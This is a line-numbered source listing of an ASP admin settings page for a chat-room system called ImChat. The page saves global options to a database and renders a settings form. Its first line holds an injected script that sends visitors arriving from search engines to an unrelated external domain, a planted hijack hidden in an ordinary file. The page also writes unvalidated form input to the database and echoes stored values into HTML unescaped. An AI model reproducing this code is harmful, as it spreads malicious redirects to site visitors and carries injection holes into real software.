d:\wwwroot\wuchunhua\liaotianim\system_manage\SetConfig.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="Check.asp"-->
003:
<%
004:
if request.form("Method")="SetConfig" then
005:
Dim ConfigRS
006:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
007:
ConfigRS.OPEN "select * from [XK_SysConfig]" , DB_CONN , 1 , 3
008:
ConfigRS("System_Name")=request.form("System_Name")
009:
ConfigRS("Refresh_MsgNum")=request.form("Refresh_MsgNum")
010:
ConfigRS("Alow_FileExt")=request.form("Alow_FileExt")
011:
ConfigRS("SkinCss")=request.form("SkinCss")
012:
ConfigRS("EditorConfig")=request.form("EditorConfig")
013:
ConfigRS("RefreshTime")=request.form("RefreshTime")
014:
ConfigRS("MsgRefreshTime")=request.form("MsgRefreshTime")
015:
ConfigRS("Alow_UploadImg")=request.form("Alow_UploadImg")
016:
ConfigRS("Alow_UploadFile")=request.form("Alow_UploadFile")
017:
ConfigRS("Window_Width")=request.form("Window_Width")
018:
ConfigRS("Window_Height")=request.form("Window_Height")
019:
ConfigRS("SysFix")=request.form("SysFix")
020:
ConfigRS("RegIsOpen")=request.form("RegIsOpen")
021:
ConfigRS("SendModel")=request.form("SendModel")
022:
ConfigRS("RegPowerID")=request.form("RegPowerID")
023:
ConfigRS("Score_Name")=request.form("Score_Name")
024:
ConfigRS("Money_Name")=request.form("Money_Name")
025:
ConfigRS("Money_DefaultNum")=request.form("Money_DefaultNum")
026:
ConfigRS("Score_DefaultNum")=request.form("Score_DefaultNum")
027:
ConfigRS("DefautlMax")=request.form("DefautlMax")
028:
ConfigRS("SendSpaceTime")=request.form("SendSpaceTime")
029:
ConfigRS("SysMsgTime")=request.form("SysMsgTime")
030:
ConfigRS("Exchange")=request.form("Exchange")
031:
ConfigRS("RmbExchange")=request.form("RmbExchange")
032:
ConfigRS("Score_Grow")=request.form("Score_Grow")
033:
ConfigRS("QQ_APP_ID")=request.form("QQ_APP_ID")
034:
ConfigRS("QQ_APP_Key")=request.form("QQ_APP_Key")
035:
ConfigRS.update()
036:
for i=0 to (ConfigRS.Fields.count-1)
037:
Application.Lock()
038:
Application.contents(ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
039:
Application.Unlock()
040:
next
041:
ConfigRS.close()
042:
RW "<script>alert('修改成功!');location.href='SetConfig.asp';</script>"
043:
end if
044:
%
>
045:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
046:
<html xmlns="http://www.w3.org/1999/xhtml">
047:
<head>
048:
<title>ImChat v1.5 Manage System</title>
049:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
050:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
051:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
052:
</head>
053:
<body>
054:
<div class="contentcontainer">
055:
<div class="headings alt">
056:
<h2>全局设置</h2>
057:
</div>
058:
<div class="contentbox">
059:
<form action="#" method="post" >
060:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
061:
<tr>
062:
<td width="350">
063:
<label for="System_Name"><strong>聊天室名称:</strong></label>
064:
<input type="text" id="System_Name" name="System_Name" class="inputbox" value="
<%
=SysConfig("System_Name")
%
>" />
065:
</td>
066:
<td>
067:
<label for="Refresh_MsgNum"><strong>聊天界面最大显示条数(到达指定显示条数,自动逐条删除):</strong></label>
068:
<input type="text" id="Refresh_MsgNum" name="Refresh_MsgNum" class="inputbox" value="
<%
=SysConfig("Refresh_MsgNum")
%
>"/>
069:
</td>
070:
</tr>
071:
<tr>
072:
<td >
073:
<label for="SkinCss"><strong>皮肤文件(原版皮肤留空):</strong></label>
074:
<input type="text" id="SkinCss" name="SkinCss" class="inputbox" value="
<%
=SysConfig("SkinCss")
%
>"/>
075:
</td>
076:
077:
<td >
078:
<label for="SkinCss"><strong>编辑器按钮配置:</strong></label>
079:
<input type="text" id="EditorConfig" name="EditorConfig" class="inputbox" value="
<%
=SysConfig("EditorConfig")
%
>"/>
080:
</td>
081:
</tr><tr>
082:
<td >
083:
<label for="Window_Width"><strong>聊天框初始宽度:</strong></label>
084:
<input type="text" id="Window_Width" name="Window_Width" class="inputbox" value="
<%
=SysConfig("Window_Width")
%
>"/>
085:
</td>
086:
087:
<td >
088:
<label for="Window_Height"><strong>聊天框初始高度:</strong></label>
089:
<input type="text" id="Window_Height" name="Window_Height" class="inputbox" value="
<%
=SysConfig("Window_Height")
%
>"/>
090:
</td>
091:
</tr>
092:
<tr>
093:
<td>
094:
<label for="Alow_FileExt"><strong>允许上传的文件格式(首字母必须为半角逗号):</strong></label>
095:
<input type="text" id="Alow_FileExt" name="Alow_FileExt" class="inputbox" value="
<%
=SysConfig("Alow_FileExt")
%
>"/>
096:
</td>
097:
<td>
098:
<label for="RefreshTime"><strong>前台获取数据时间间隔(建议3秒以上,用来获取用户列表等):</strong></label>
099:
<input type="text" id="RefreshTime" name="RefreshTime" class="inputbox" value="
<%
=SysConfig("RefreshTime")
%
>"/>
100:
</td>
101:
</tr>
102:
<tr>
103:
<td>
104:
<label for="MsgRefreshTime"><strong>前台获取消息刷新时间(建议3秒以下)</strong></label>
105:
<input type="text" id="MsgRefreshTime" name="MsgRefreshTime" class="inputbox" value="
<%
=SysConfig("MsgRefreshTime")
%
>"/>
106:
</td>
107:
<td>
108:
<label for="SendModel"><strong>消息模式: <img src="img/help.png" title="1.智能推送:低负载,高响应,偶尔会丢失消息2.普通轮询:较高负载,响应有延迟,不会丢失消息"></strong></label>
109:
<select id="SendModel" name="SendModel">
110:
<option value="0"
<%
if Cstr(SysConfig("SendModel"))="0" then response.write "selected"
%
>>智能推送</option>
111:
<option value="1"
<%
if Cstr(SysConfig("SendModel"))="1" then response.write "selected"
%
>>普通轮询</option>
112:
</select>
113:
</td>
114:
</tr>
115:
<tr>
116:
<td>
117:
<label for="Alow_UploadImg"><strong>上传图片:</strong></label>
118:
<select id="Alow_UploadImg" name="Alow_UploadImg">
119:
<option value="true"
<%
if LCase(SysConfig("Alow_UploadImg"))="true" then response.write "selected"
%
>>开启</option>
120:
<option value="false"
<%
if LCase(SysConfig("Alow_UploadImg"))="false" then response.write "selected"
%
>>关闭</option>
121:
</select>
122:
</td>
123:
<td>
124:
<label for="Alow_UploadFile"><strong>上传文件:</strong></label>
125:
<select id="Alow_UploadFile" name="Alow_UploadFile">
126:
<option value="true"
<%
if LCase(SysConfig("Alow_UploadFile"))="true" then response.write "selected"
%
>>开启</option>
127:
<option value="false"
<%
if LCase(SysConfig("Alow_UploadFile"))="false" then response.write "selected"
%
>>关闭</option>
128:
</select>
129:
</td>
130:
</tr>
131:
<tr>
132:
<td>
133:
<label for="RegPowerID"><strong>默认用户注册权限:</strong></label>
134:
<select id="RegPowerID" name="RegPowerID">
135:
<%
136:
dim GPRS
137:
set GPRS=Server.CreateObject( "ADODB.Recordset" )
138:
set GPRS=DB_CONN.EXECUTE("select * from [XK_Power] order by [Power_Sort] desc")
139:
while not GPRS.eof
140:
dim Selected
141:
Selected=""
142:
if Cstr(GPRS("Power_ID"))=Cstr(SysConfig("RegPowerID")) then Selected="Selected='selected'"
143:
RW "<option value='"&GPRS("Power_ID")&"' "&Selected&" >"&GPRS("Power_Name")&"</option>"
144:
GPRS.movenext()
145:
iPage=iPage+1
146:
wend
147:
%
>
148:
</select>
149:
</td>
150:
<td>
151:
<label for="DefautlMax"><strong>聊天框默认最大化:</strong></label>
152:
<select id="DefautlMax" name="DefautlMax">
153:
<option value="true"
<%
if LCase(SysConfig("DefautlMax"))="true" then response.write "selected"
%
>>是</option>
154:
<option value="false"
<%
if LCase(SysConfig("DefautlMax"))="false" then response.write "selected"
%
>>否</option>
155:
</select>
156:
</td>
157:
</tr>
158:
<tr>
159:
<td>
160:
<label for="Money_Name"><strong>用户货币名称:(不可留空)</strong></label>
161:
<input type="text" id="Money_Name" name="Money_Name" class="inputbox" value="
<%
=SysConfig("Money_Name")
%
>"/>
162:
</td>
163:
<td>
164:
<label for="Money_DefaultNum"><strong>注册默认货币数量:(数字)</strong></label>
165:
<input type="text" id="Money_DefaultNum" name="Money_DefaultNum" class="inputbox" value="
<%
=SysConfig("Money_DefaultNum")
%
>"/>
166:
</td>
167:
</tr>
168:
<tr>
169:
<td>
170:
<label for="Score_Name"><strong>用户积分名称:(不可留空)</strong></label>
171:
<input type="text" id="Score_Name" name="Score_Name" class="inputbox" value="
<%
=SysConfig("Score_Name")
%
>"/>
172:
</td>
173:
<td>
174:
<label for="Score_DefaultNum"><strong>注册默认积分数量:(数字)</strong></label>
175:
<input type="text" id="Score_DefaultNum" name="Score_DefaultNum" class="inputbox" value="
<%
=SysConfig("Score_DefaultNum")
%
>"/>
176:
</td>
177:
</tr>
178:
<tr>
179:
<td colspan="2">
180:
<label for="Score_Grow"><strong>在线积分增量:(大于0的整数)(在线每分钟用户增加的积分)</strong></label>
181:
<input type="text" id="Score_Grow" name="Score_Grow" class="inputbox" value="
<%
=SysConfig("Score_Grow")
%
>"/>
182:
</td>
183:
</tr>
184:
<tr>
185:
<td>
186:
<label for="Exchange"><strong>礼物汇率,礼物金额转换给受赠人的百分比:(小数)</strong></label>
187:
<input type="text" id="Exchange" name="Exchange" class="inputbox" value="
<%
=SysConfig("Exchange")
%
>"/>
188:
</td>
189:
<td>
190:
<label for="RmbExchange"><strong>充值汇率,1元=多少虚拟货币:(数字)</strong></label>
191:
<input type="text" id="RmbExchange" name="RmbExchange" class="inputbox" value="
<%
=SysConfig("RmbExchange")
%
>"/>
192:
</td>
193:
</tr>
194:
<tr>
195:
<td>
196:
<label for="SendSpaceTime"><strong>防刷屏消息发送间隔:(秒)</strong></label>
197:
<input type="text" id="SendSpaceTime" name="SendSpaceTime" class="inputbox" value="
<%
=SysConfig("SendSpaceTime")
%
>"/>
198:
</td>
199:
<td>
200:
<label for="SysMsgTime"><strong>系统公告停留时间:(秒)</strong></label>
201:
<input type="text" id="SysMsgTime" name="SysMsgTime" class="inputbox" value="
<%
=SysConfig("SysMsgTime")
%
>"/>
202:
</td>
203:
</tr>
204:
<tr>
205:
<td>
206:
<label for="Sysfix"><strong>唯一标识:(官方发放的标识码)</strong></label>
207:
<input type="text" id="Sysfix" name="Sysfix" class="inputbox" value="
<%
=SysConfig("Sysfix")
%
>"/>
208:
</td>
209:
<td>
210:
<label for="RegIsOpen"><strong>注册开关:</strong></label>
211:
<select id="RegIsOpen" name="RegIsOpen">
212:
<option value="true"
<%
if LCase(SysConfig("RegIsOpen"))="true" then response.write "selected"
%
>>开启</option>
213:
<option value="false"
<%
if LCase(SysConfig("RegIsOpen"))="false" then response.write "selected"
%
>>关闭</option>
214:
</select>
215:
</td>
216:
</tr>
217:
<tr>
218:
<td>
219:
<label for="QQ_APP_ID"><strong>QQ_APP_ID:(QQ登录APP_ID)</strong></label>
220:
<input type="text" id="QQ_APP_ID" name="QQ_APP_ID" class="inputbox" value="
<%
=SysConfig("QQ_APP_ID")
%
>"/>
221:
</td>
222:
<td>
223:
<label for="QQ_APP_Key"><strong>QQ_APP_Key:(QQ登录APP_Key)</strong></label>
224:
<input type="text" id="QQ_APP_Key" name="QQ_APP_Key" class="inputbox" value="
<%
=SysConfig("QQ_APP_Key")
%
>"/>
225:
</td>
226:
</tr>
227:
<tr>
228:
<td colspan="2">
229:
<input type="hidden" value="SetConfig" name="Method"/>
230:
<input type="submit" value="提交" class="btn" />
231:
</td>
232:
</tr>
233:
</table>
234:
</form>
235:
</div>
236:
</div>
237:
</body>
238:
</html>
239:
240:
241: